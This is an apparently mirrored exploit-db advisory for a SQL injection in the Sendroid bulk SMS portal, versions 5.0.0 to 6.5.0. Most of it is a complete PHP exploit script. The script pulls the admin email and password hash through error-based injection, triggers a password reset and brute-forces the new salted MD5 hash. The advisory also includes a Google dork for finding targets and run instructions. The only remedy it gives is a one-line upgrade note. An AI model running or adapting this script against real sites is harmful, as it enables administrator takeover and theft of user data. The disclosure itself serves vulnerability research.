Sendroid < 6.5.0 - SQL Injection

  • 作者: Onwuka Gideon
    日期: 2017-12-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43395/
  • # Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection
    # Google Dork: "welcome to * SMS portal"
    # Date: 22/12/2017
    # Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com>
    Contact: http://twitter.com/@gideon_onwuka
    # Vendor Homepage: http://ynetinteractive.com/
    # Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
    # Version: 5.0.0 - 6.5.0
    # Tested on: Mac OS
    
    
    1. Description
    
    The softaware suffers from SQL Injection:
    "/API/index.php?action=compose&username=sender&api_key=sdsd&sender"
    
    2. Script (Automatic takeover)
    
    Attached to mail
    
    4. How to run Script
    You must have PHP installed on your system to run the script.
    
     - First, copy the code to a file and save(eg: sendroid_exploit.php)
     - Open up your command line and CD into the directory where you saved the file.
     - Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"
    
    Note: The URL should be a direct link to where the software is installed.
    
    3. Proof of Concept
     
    Run the script for example:
    php -f sendroid_exploit.php url=http://localhost/sms
    
    <?php
    /**
    * A script to authomatically get admin password
    * 
    * @author: Onwuka Gideon <dongidomed[@]gmail[.]com>
    * 
    */
    
    parse_str(implode('&', array_slice($argv, 1)), $_GET);
    
    $queries =[
    	"sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'",
    	"sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'",
    	"sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'",
    ];
    
    $payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender";
    // 
    
    checkCommands();
    
    print_r(getEmailAndPassword($_GET['url'], $payload, $queries));
    
    
    /**
    *
    * Checks if minimum expected command is issued 
    * 
    * @param: $_GET
    * @return; Boolean 
    **/
    
    
    function checkCommands(){
    
    //url&& shell
    $url = $_GET['url'] ?? "";
    
    if( $url == "" ) {
    
    	"Please enter a target";
    
    	help();
    	exit(1);
    }
    }
    
    // Print help message
    function help(){
    
    	echo "Invalid command " . PHP_EOL;
    	echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL;
    	echo "" . PHP_EOL;
    }
    
    
    // ==
    // == Reset password and Get the Password hash
    // ==
    function getEmailAndPassword($url, $payload, $queries){
     
     //>> Fetch admin email
     echo "Fetching admin email....:";
     $sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload);
     $email = extractValue(makeRequest($sql_get_email));
     echo $email . PHP_EOL.PHP_EOL;
     //<< EndFetch admin email
    
     //>> Fetch admin old pass
     echo "Fetching admin old password...:";
     $sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password');
     echo $old_password . PHP_EOL.PHP_EOL;
     //<< End Fetch admin old
    
     // Now we have the old password and admin email
     // reset password
     echo "Resetting password...:"; 
     $forgot_password = $url . "/administrator/index.php?reset&p";
     makeRequest($forgot_password, "POST", ["userEmail" => $email]);
     echo " Done!" . PHP_EOL.PHP_EOL;
    
     //>> Fetch admin new password
     echo "Getting new password...:";
     $sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password');
     echo $new_password . PHP_EOL.PHP_EOL;
     //<< End Fetch admin new password
    
     //>> Cracking password
     echo "Craking password...:";
     $password = crackPassword($new_password);
     echo $password . PHP_EOL.PHP_EOL;
     //<< Cracking password
    
     // return $sql_get_email;
     return ["email" => $email, "password" => $password];
    }
    
    //
    // POST and GET request
    // ==
    function makeRequest($url, $method = "GET", $parameter = []){
    
    	// Get cURL resource
    	$curl = curl_init();
    	// Set some options - we are passing in a useragent too here
    	if( strtolower($method) == "post" ){
    		curl_setopt_array($curl, [
    		CURLOPT_RETURNTRANSFER => 1,
    		CURLOPT_URL => $url,
    		CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
    		CURLOPT_POST => 1,
    		CURLOPT_POSTFIELDS => $parameter
    		]);
    }
    else{
    
    	curl_setopt_array($curl, [
    		CURLOPT_RETURNTRANSFER => 1,
    		CURLOPT_URL => $url,
    		CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'
    		]);
    }
    	// Send the request & save response to $resp
    	$resp = curl_exec($curl);
    	// Close request to clear up some resources
    	curl_close($curl);
    
    	return $resp;
    }
    
    // Extract the real value 
    function extractValue($payload, $what = "email"){
     
     $patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/";
     $replacements = [];$replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";
     
     $result = preg_replace($patterns, $replacements, $payload);
     
    return substr($result, 0, -1);
    }
    
    
    function crackPassword($password){
    
     echo " cracking... please wait... ";
    
     $pwsalt = explode( ":",$password );	
    
     for ($i=1; $i < 20000000000000 ; $i++) { 
    
     	 if(md5($i . $pwsalt[1]) == $pwsalt[0] ) {	
    
     return $i;
     }
    
     }
    
     return "Could not crack password";
    }
    
    If you successfully run the script, you'll get the admin password. You can login to the admin portal:
    localhost/sms/administrator/
    
    4. Solution:
     
    Update to the latest version